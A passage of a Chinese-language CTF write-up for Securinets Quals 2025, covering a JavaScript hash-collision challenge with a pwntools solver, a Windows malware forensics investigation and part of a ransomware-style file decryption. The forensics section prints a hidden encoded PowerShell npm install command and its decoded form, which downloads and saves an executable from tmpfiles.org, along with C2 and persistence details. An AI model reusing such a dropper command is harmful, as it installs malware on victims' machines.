Securinets CTF Quals 2025

Securinets CTF Quals 2025

Aristore

Misc

md7

Challenge

md5 and md6 didnt’t settle with me when i’m dealing with numbers , so I’m presenting to you my md7 hashing factory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
const fs = require("fs");
const readline = require("readline");
const md5 = require("md5");

const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});

function askQuestion(query) {
return new Promise(resolve => rl.question(query, resolve));
}


function normalize(numStr) {
if (!/^\d+$/.test(numStr)) {
return null;
}
return numStr.replace(/^0+/, "") || "0";
}

console.log("Welcome to our hashing factory ");
console.log("let's see how much trouble you can cause");

function generateHash(input) {
input = input
.split("")
.reverse()
.map(d => ((parseInt(d, 10) + 1) % 10).toString())
.join("");

const prime1 = 31;
const prime2 = 37;
let hash = 0;
let altHash = 0;

for (let i = 0; i < input.length; i++) {
hash = hash * prime1 + input.charCodeAt(i);
altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);
}

const factor = Math.abs(hash - altHash) % 1000 + 1;
const normalized = +input;
const modulator = (hash % factor) + (altHash % factor);
const balancer = Math.floor(modulator / factor) * factor;
return normalized + balancer % 1;
}

(async () => {
try {
const used = new Set();

for (let i = 0; i < 100; i++) {
const input1 = await askQuestion(`(${i + 1}/100) Enter first number: `);
const input2 = await askQuestion(`(${i + 1}/100) Enter second number: `);

const numStr1 = normalize(input1.trim());
const numStr2 = normalize(input2.trim());

if (numStr1 === null || numStr2 === null) {
console.log("Only digits are allowed.");
process.exit(1);
}

if (numStr1 === numStr2) {
console.log("Nope");
process.exit(1);
}

if (used.has(numStr1) || used.has(numStr2)) {
console.log("😈");
process.exit(1);
}


used.add(numStr1);
used.add(numStr2);

const hash1 = generateHash(numStr1);
const hash2 = generateHash(numStr2);

if (md5(hash1.toString()) !== md5(hash2.toString())) {
console.log(`⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠟⠷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣾⠿⢫⡤⠀⣄⢈⠛⠷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠛⠋⢡⣾⡿⣿⡴⠁⠀⠀⣿⣾⣿⡁⠈⠛⠶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣦⣤⡀⠀⠀⠀⠀⢀⣤⡾⠟⠋⠐⠂⠸⠿⣿⣿⠿⠀⠩⠛⠀⠛⠻⣦⡅⠀⠀⠀⠀⠙⢧⡄⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠌⠙⠷⣦⣴⡾⠟⡡⠴⠂⠀⠀⠀⠀⠀⠀⠙⠦⠴⣤⣄⡀⠛⠶⣽⣮⡀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⣰⢠⢞⡛⠉⠙⠋⠁⠀⠀⠀⠀⠀⠀⣀⡀⢄⡂⢰⡘⢿⢻⣤⢃⠄⡉⢻⡗⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⣸⡇⠀⠀⠀⠀⠀⠀⠀⢀⡀⢾⣋⡝⣬⣟⣴⣫⣟⢾⣶⣿⣾⣤⣭⣿⠀⠀⠀⠀⠀⠘⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣧⣿⡇⠀⠀⠀⠀⠀⠀⢠⣼⠏⣾⣿⣽⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⡀⡀⣽⣇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣼⡧⠀⠀⠈⢀⣱⣘⣿⣿⣋⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣤⠃⡜⢻⣟⣿⡇⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣯⣽⡗⣌⣺⠡⣘⣾⣿⣿⣿⣯⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣹⣿⣿⣿⢧⣙⣔⣻⣿⣿⣿⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⣿⣿⡹⢛⠶⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⢌⠹⢹⣾⣿⢿⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠿⣷⣌⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠐⢪⡐⣣⣿⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⡿⠀⠉⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢉⣦⣍⣝⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⣿⠁⢰⠀⠁⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣩⠒⢢⢰⡘⣿⣿⡏⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣦⠟⠀⠀⠈⢩⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠱⠀⠈⠄⢂⣿⣿⣿⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⡿⢟⣿⣿⣿⣿⢛⣿⣿⣿⡿⠉⠀⠀⠀⠀⢠⣸⣿⡏⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡾⠟⠛⠛⠳⣶⣿⣟⢆⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⠱⣋⠔⡢⠑⣎⠣⣜⣶⠿⠃⠀⠀⠀⠀⠀⠠⠇⣿⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⠤⣤⣤⣼⠏⠀⠀⠀⠀⠀⠀⠙⠿⣿⣷⣄⠀⠀⠀⠀⠀⠈⠹⣿⡆⡑⠈⠄⠑⠨⢹⣥⣲⡶⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣠⡴⢾⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠈⢿⣾⣅⠀⢈⠡⢩⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢀⣀⣴⣾⡟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣥⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⢣⠀⠀⠀⢀⠀⠀⠀⢢⣾⣿⣿⣶⡼⢣⣽⣿⣻⡿⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⠀⠀⠀⠀⠀
⣤⡾⠋⠉⠀⠀⠹⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⢦⣄⣀⣠⣤⣴⣶⣿⣿⠟⠉⠀⠀⠀⠀⢳⡀⠀⢸⠟⢿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠳⣄⠀⠀⠀
⣿⠁⠀⠀⠀⠀⠈⠻⠦⠄⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣮⣭⣥⣶⣾⣿⠟⠁⠀⠀⠀⠀⠀⠀⠈⢷⣦⡀⢛⡾⣿⣿⣿⣿⢿⣭⡖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⣄⠀
⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣟⡛⡟⢿⢻⣟⣿⣿⠔⠂⠀⠀⠀⠀⠀⠀⠀⠀⠸⣷⣾⡐⣿⣿⣿⣼⡿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣆
⣟⠀⠀⠀⠀⣠⡄⠀⠀⠀⠀⢻⡄⠀⠀⠀⠀⠀⢸⡯⢜⠩⢖⡩⡟⠙⢿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⢿⣷⣿⣿⡿⠟⠟⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡍
⡇⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⢸⣿⢎⡑⢮⣇⣇⠀⠀⢿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡜
⡇⠀⠀⠀⠀⢿⡇⠀⠀⠀⠀⢼⣯⠀⠀⠀⠀⠀⠘⣿⢦⣱⣾⣿⠋⠀⠀⠀⠹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡼
⡿⠀⣀⠀⠀⢺⣇⠀⠀⠀⠀⣸⣿⡀⠀⠀⠀⣀⣼⠟⠛⠉⠉⠀⠀⠀⠀⠀⢀⣼⣿⣶⡀⠀⠤⢀⡤⣤⣙⡴⣀⢤⣄⠲⠤⢄⡀⣀⡀⢀⣀⣀⡀⠄⡀⡀⢀⡀⢀⠀⡄⢤⡈⣵⡐
⣷⣀⠈⡄⢈⠽⣿⡀⠆⢀⡤⢸⣿⣷⣠⣠⣼⠟⠁⠀⢀⣤⡤⣤⣤⣤⢶⣩⣾⣿⣿⠼⣇⠀⡆⢦⡔⢦⢭⡹⣬⢏⠶⣭⣛⢮⡝⣧⣾⡱⢮⣱⣙⢦⡵⣩⡶⣜⣬⡳⣎⣧⣝⡶⣽
⠟⠷⠿⠛⠾⠿⡿⢷⣯⣬⣵⣷⣾⣿⣯⣿⣷⣠⣤⣼⣩⣴⣦⣭⣴⣽⣿⣿⣟⣩⢃⡾⢀⢣⠼⣦⢽⣚⡶⣽⣎⣿⣻⢶⣯⣟⣾⣳⢯⣟⣯⣷⣻⢮⣽⣷⣻⡽⣾⡽⣽⢾⡽⣞⣷`);
process.exit(1);
}

console.log("Correct!");
}

console.log("\ngg , get your flag\n");
const flag = fs.readFileSync("flag.txt", "utf8");
console.log(flag);

} finally {
rl.close();
}
})();

Solution

本题要求与服务器进行100轮交互,每轮需要提供两个数字,服务器会使用一个给定的哈希函数对这两个数字进行校验,如果100轮校验全部通过就会返回flag

挑战的核心在于理解附件中提供的 generateHash 函数并找到一种方法来构造两个不同的输入使其产生相同的哈希值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function generateHash(input) {
// Step 1: reverse digits and map d → (d+1)%10
input = input
.split("")
.reverse()
.map(d => ((parseInt(d, 10) + 1) % 10).toString())
.join("");

const prime1 = 31;
const prime2 = 37;
let hash = 0;
let altHash = 0;

for (let i = 0; i < input.length; i++) {
hash = hash * prime1 + input.charCodeAt(i);
altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);
}

const factor = Math.abs(hash - altHash) % 1000 + 1;
const normalized = +input; // 转为数字
const modulator = (hash % factor) + (altHash % factor);
const balancer = Math.floor(modulator / factor) * factor;
return normalized + balancer % 1;
}

我们可以将这个函数分解为三个主要步骤来理解:

第一步:输入预处理

1
2
3
4
5
input = input
.split("")
.reverse()
.map(d => ((parseInt(d, 10) + 1) % 10).toString())
.join("");

这部分代码对输入的数字字符串进行了转换:

  1. .split(""):将字符串分割成单个字符的数组,例如 "199" 变为 ['1', '9', '9']
  2. .reverse():翻转数组,例如 ['1', '9', '9'] 变为 ['9', '9', '1']
  3. .map(d => ...):对数组中的每个数字字符 d 执行一个转换操作:
    • parseInt(d, 10):将字符转换为数字
    • + 1:加一
    • % 10:对10取模
    • 这个操作实际上是一个简单的替换密码:0→1, 1→2, …, 8→9, 9→0
  4. .join(""):将处理后的数组重新组合成一个字符串

第二步:哈希计算

1
2
3
4
5
6
7
8
9
const prime1 = 31;
const prime2 = 37;
let hash = 0;
let altHash = 0;

for (let i = 0; i < input.length; i++) {
hash = hash * prime1 + input.charCodeAt(i);
altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);
}

这部分代码计算了两个多项式滚动哈希(Polynomial Rolling Hash),hash 是对预处理后的字符串进行正向哈希计算,而 altHash 是对其进行反向哈希计算

第三步:最终值计算与返回

1
2
3
4
5
const factor = Math.abs(hash - altHash) % 1000 + 1; 
const normalized = +input; // 转为数字
const modulator = (hash % factor) + (altHash % factor);
const balancer = Math.floor(modulator / factor) * factor;
return normalized + balancer % 1;
  1. factor, modulator, balancer 都是基于前面计算的 hashaltHash 生成的中间变量
  2. const normalized = +input; 使用一元加号 + 将预处理后的字符串 input 转换成一个数字,这个转换会自动忽略字符串前导的零,例如字符串 "0002" 会被转换为数字 2
  3. return normalized + balancer % 1; 是函数的返回值,由于 balancer 是一个整数(Math.floor(...) * factor),所以 balancer % 1 的结果永远是 0
  4. 因此整个函数的返回值实际上就是 normalized,也就是预处理后的字符串去掉前导零并转换为数字的结果

结论: 函数的最终输出完全取决于第一步的预处理结果 generateHash(input) = Number(preprocess(input))

既然我们知道了函数的真实行为,我们的目标就变成了找到两个不同的输入 num1num2,使得它们经过预处理后,转换成数字的结果相同

preprocess(input) 的关键在于两点:

  1. 翻转字符串
  2. 将每个数字 d 替换为 (d+1)%10(特别地,'9' 会变成 '0'

利用 '9' -> '0' 这个特性,我们可以在一个数字的末尾添加任意数量的 '9'
让我们比较 AA + "999" (其中 A 是任意数字字符串)的哈希过程。

  • 对于输入 A:

    1. 预处理得到 transform(reverse(A))
    2. 转换为数字得到 Number(transform(reverse(A)))
  • 对于输入 A + "999":

    1. reverse 得到 reverse("999") + reverse(A),即 "999" + reverse(A)
    2. map 转换:transform("999") 得到 "000"
    3. 预处理后的字符串为 "000" + transform(reverse(A))
    4. 转换为数字:Number("000" + transform(reverse(A))),由于 Number() 会忽略前导零,这个结果与 Number(transform(reverse(A))) 完全相同

结论: 对于任意数字字符串 AgenerateHash(A)generateHash(A + "999") 的结果永远是相同的,这就构成了一个完美的哈希碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# Connect to server
r = remote("numbers.p2.securinets.tn", 7011)

# Receive welcome
print(r.recvuntil(b"cause").decode())

for i in range(100):
# a = str(i+1), b = a + "999"
a = str(i + 1)
b = a + "999"

print(f"[{i+1}/100] Sending {a} and {b}")

r.recvuntil(f"({i+1}/100) Enter first number: ".encode())
r.sendline(a.encode())

r.recvuntil(f"({i+1}/100) Enter second number: ".encode())
r.sendline(b.encode())

# Read response
resp = r.recvline().decode().strip()
print(f"Response: {resp}")
if "Correct!" not in resp:
print("Failed!")
break

# Get flag
flag = r.recvall(timeout=2).decode()
print("FLAG:", flag)
1
2
3
4
5
6
7
8
9
10
11
...
[100/100] Sending 100 and 100999
Response: Correct!
[x] Receiving all data
[x] Receiving all data: 54B
[+] Receiving all data: Done (54B)
[*] Closed connection to numbers.p2.securinets.tn port 7011
FLAG:
gg , get your flag

Securinets{floats_in_js_xddddd}

FLAG

1
Securinets{floats_in_js_xddddd}

Forensics

Silent Visitor

Challenge

A user reported suspicious activity on their Windows workstation. Can you investigate the incident and uncover what really happened?

https://drive.google.com/file/d/1-usPB2Jk1J59SzW5T_2y46sG4fb9EeBk/view?usp=sharing

Solution

1

What is the SHA256 hash of the disk image provided?

用工具算一下就行

1
2
3
4
5
6
7
文件名称: test.ad1
文件大小: 0.98 GB (1,062,506,312 字节)
MD5: e9870e7237052f8877e232409daa4634
SHA1: 436e99d31fdeda041ab8141430402396c8f892f9
SHA256: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2
SHA512: dc431dda49e8a2169dfc38de9e335c7609027ad0fdb0d8adf3a87a17b7aaa7cae4924f17c52fd64d422a12f42b91395da2160d2c677f76f883b82758ea84e711
CRC32: e6059fa3

122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2

2

Identify the OS build number of the victim’s system?

SecurinetsCTFQuals2025-1

19045

3

What is the ip of the victim’s machine?

SecurinetsCTFQuals2025-2

192.168.206.131

4

What is the name of the email application used by the victim?

找到目录 F:\C___NONAME [NTFS]\[root]\Program Files\Mozilla Thunderbird

Thunderbird

5

What is the email of the victim?

SecurinetsCTFQuals2025-3

ammar55221133@gmail.com

6

What is the email of the attacker?

SecurinetsCTFQuals2025-4

masmoudim522@gmail.com

7

What is the URL that the attacker used to deliver the malware to the victim?

run this 这封邮件内容如下:

1
Hey hey! Just pushed up the starter code here: 👉 https://github.com/lmdr7977/student-api You can just clone it and run npm install, then npm run dev to get it going. Should open on port 3000. I set up a couple of helpful scripts in there too, so feel free to tweak whatever. Lmk if anything’s broken 😅

里面一个仓库地址 https://github.com/lmdr7977/student-api

student-api/package.json at main · lmdr7977/student-api 第 7 行找到恶意语句

1
powershell -NoLogo -NoProfile -WindowStyle Hidden -EncodedCommand \"JAB3ACAAPQAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACIAOwAKACQAdQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADIAMwA4ADYAMAA3ADcAMwAvAHMAeQBzAC4AZQB4AGUAIgA7AAoAJABvACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABzAHkAcwAuAGUAeABlACIAOwAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA=\"

改成 powershell -NoLogo -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('BASE64...'))" 运行得到下面的内容

1
2
3
4
$w = "Invoke-WebRequest";
$u = "https://tmpfiles.org/dl/23860773/sys.exe";
$o = "$env:APPDATA\sys.exe";
Invoke-WebRequest $u -OutFile $o

https://tmpfiles.org/dl/23860773/sys.exe

8

What is the SHA256 hash of the malware file?

Users\ammar\AppData\Roaming 找到 sys.exe

1
2
3
4
5
6
7
文件名称: sys.exe
文件大小: 6.15 MB (6,450,688 字节)
MD5: 3a10179d48eb4f25f36f581391faff26
SHA1: 343140c487120beb5704aaf2bae89cd84daa44a6
SHA256: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d
SHA512: 0784f3118b173ac449db68fd31b407ad3579a339506d4cb6e24ce10655aecfea24e69bcd1588c32d6c5e9907a597e96cee27ba9fbac965f7b16c2555b3721619
CRC32: 92b65ddf

be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d

9

What is the IP address of the C2 server that the malware communicates with?

直接丢沙箱分析 奇安信情报沙箱

SecurinetsCTFQuals2025-5

40.113.161.85

10

What port does the malware use to communicate with its Command & Control (C2) server?

SecurinetsCTFQuals2025-6

5000

11

What is the url if the first Request made by the malware to the c2 server?

mcp 秒了(这题也许可以在虚拟机运行抓包进行流量分析,但是我刚把虚拟机打开就发现 mcp 跑出来了哈哈哈哈)

SecurinetsCTFQuals2025-7

http://40.113.161.85:5000/helppppiscofebabe23

12

The malware created a file to identify itself. What is the content of that file?

SecurinetsCTFQuals2025-8

F:\C___NONAME [NTFS]\[root]\Users\Public\Documents\id.txt

3649ba90-266f-48e1-960c-b908e1f28aef

13

Which registry key did the malware modify or add to maintain persistence?

SecurinetsCTFQuals2025-9

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp

14

What is the content of this registry?

同上题

C:\Users\ammar\Documents\sys.exe

15

The malware uses a secret token to communicate with the C2 server. What is the value of this key?

mcp 在之前逆向的过程中顺手秒了:

main.main 函数中,我们已经确认了C2服务器的基础URL是 http://40.113.161.85:5000。同时,在 main.main 函数的第188行,我注意到 ptr_1 = ptr; // "e7bcc0ba5fb1dc9cc09460baaa2a6986",并且在第219行,这个 ptr 被赋值给了 p_main_plant->Secret.ptr。这意味着 e7bcc0ba5fb1dc9cc09460baaa2a6986 是恶意软件的一个秘密字符串。

e7bcc0ba5fb1dc9cc09460baaa2a6986

FLAG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
What is the SHA256 hash of the disk image provided?
Input: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2
Correct answer
Identify the OS build number of the victim鈥檚 system?
Input: 19045
Correct answer
What is the ip of the victim's machine?
Input: 192.168.206.131
Correct answer
What is the name of the email application used by the victim?
Input: Thunderbird
Correct answer
What is the email of the victim?
Input: ammar55221133@gmail.com
Correct answer
What is the email of the attacker?
Input: masmoudim522@gmail.com
Correct answer
What is the URL that the attacker used to deliver the malware to the victim?
Input: https://tmpfiles.org/dl/23860773/sys.exe
Correct answer
What is the SHA256 hash of the malware file?
Input: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d
Correct answer
What is the IP address of the C2 server that the malware communicates with?
Input: 40.113.161.85
Correct answer
What port does the malware use to communicate with its Command & Control (C2) server?
Input: 5000
Correct answer
What is the url if the first Request made by the malware to the c2 server?
Input: http://40.113.161.85:5000/helppppiscofebabe23
Correct answer
The malware created a file to identify itself. What is the content of that file?
Input: 3649ba90-266f-48e1-960c-b908e1f28aef
Correct answer
Which registry key did the malware modify or add to maintain persistence?
Input: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp
Correct answer
What is the content of this registry?
Input: C:\Users\ammar\Documents\sys.exe
Correct answer
The malware uses a secret token to communicate with the C2 server. What is the value of this key?
Input: e7bcc0ba5fb1dc9cc09460baaa2a6986
Correct answer
Sahaaaaaaaaaaa Securinets{de2eef165b401a2d89e7df0f5522ab4f}
by enigma522
1
Securinets{de2eef165b401a2d89e7df0f5522ab4f}

Lost File

Challenge

My friend told me to run this executable, but it turns out he just wanted to encrypt my precious file.

And to make things worse, I don’t even remember what password I used. 😥

Good thing I have this memory capture taken at a very convenient moment, right?

netorgft15219885-my.sharepoint.com/:u:/g/personal/fsaidi_intrinsic_security/EfLtokTYbq5PjzwHlOGDsK8BVlrHZY8CASz2VIkJXPewpQ?e=mm6bhs

mirror:
https://drive.google.com/file/d/1Vxd6M50--nzqK-9snaj1oujwK7va26Tx/view

Solution

查看进程列表发现可疑进程 cmd.exe (PID 2284),因为它的父进程 (PPID) 是 explorer.exe (PID 1512) ,即用户的桌面和文件管理器。当用户通过双击一个文件或者在“运行”中输入命令来启动一个程序时,这个新程序的父进程通常就是 explorer.exe,这很符合题目描述中的 “My friend told me to run this executable”,并且 cmd.exe 还是进程列表里最晚启动的一个进程

SecurinetsCTFQuals2025-10

因此下一步就要用 consoles 恢复在命令行窗口里输入和输出的内容

SecurinetsCTFQuals2025-11

发现用户在 C:\Documents and Settings\RagdollFan2005\Desktop 目录下给 locker_sim.exe 传了个参数 hmmisitreallyts

因此接下来要在磁盘镜像中找到这个程序:

SecurinetsCTFQuals2025-12

发现在这个目录下还存在一个看起来像是被加密过的文件 to_encrypt.txt.enc,把它也一起导出来

locker_sim.exe 丢给 mcp 分析得出以下结论:

程序使用 Windows CryptoAPI 实现 AES-256-CBC 加密;密钥与 IV 由一个拼接字符串的 SHA-256 摘要派生。具体流程如下:

  • 输入与环境收集
    • 读取命令行参数 argv[1](作为口令/标识)。
    • 从注册表读取本机计算机名,失败则用 “UNKNOWN_HOST”。
    • 读取同目录下 “secret_part.txt” 内容后立即删除该文件。
    • 目标明文文件为 “to_encrypt.txt”。
  • 密钥派生
    • 构造拼接字符串:payload = “<argv[1]>||“(如果 secret_part 不存在则末尾 ‘|’)。
    • 对 payload 进行 SHA-256,得到 32 字节哈希 H。
    • Key = H 的 32 字节。
    • IV = H 的前 16 字节(通过把 H 的前 16 字节以栈连续内存传给 KP_IV)。
  • 加密实现(aes256_encrypt_simple)
    • CryptAcquireContextA(…, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) 获取提供者。
    • 以 PLAINTEXTKEYBLOB 格式构造密钥导入数据:
      • bType = 8 (PLAINTEXTKEYBLOB), bVersion = 2, aiKeyAlg = 26128 (CALG_AES_256), dwKeyLen = 32, 后接 32 字节 Key。
      • CryptImportKey 导入 AES-256 密钥。
    • CryptSetKeyParam(KP_MODE, 1) 设置模式为 CBC。
    • CryptSetKeyParam(KP_IV, IV) 设置 16 字节初始向量。
    • 为输出分配 Size_1 + 32 空间,调用 CryptEncrypt(…, Final=true, …) 完成填充与加密。
    • 默认填充为 PKCS#7(未显式设置 KP_PADDING,沿用默认)。
  • 文件输出
    • 将密文写回同目录 “to_encrypt.txt.enc”。
  • 错误提示
    • “SHA256 failed” 来自 sha256_buf 失败。
    • “Encryption failed” 来自 aes256_encrypt_simple 失败。
    • 找不到目标明文文件会提示并退出。

已通过反编译 main、sha256_buf、aes256_encrypt_simple 以及注册表读取和文件读取函数,结合 API 引用确认数据流、算法、模式与参数设置,逻辑已彻底厘清:AES-256-CBC,Key/IV 均由 SHA-256(argv[1]|computername|secret_part) 派生,IV 为摘要前 16 字节,填充为 PKCS#7。

然后接着让大模型生成对应的解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decryptor for locker_sim.exe output (to_encrypt.txt.enc)
Scheme reconstructed from reverse engineering:
- payload = "password|computer_name|secret_part"
- H = SHA256(payload bytes, UTF-8)
- AES-256-CBC with:
* key = H (32 bytes)
* iv = H[:16]
- Padding: PKCS#7
Fill the parameters below and run the script.
Dependencies: pip install pycryptodome
"""

import hashlib
from typing import Optional

try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
except ImportError:
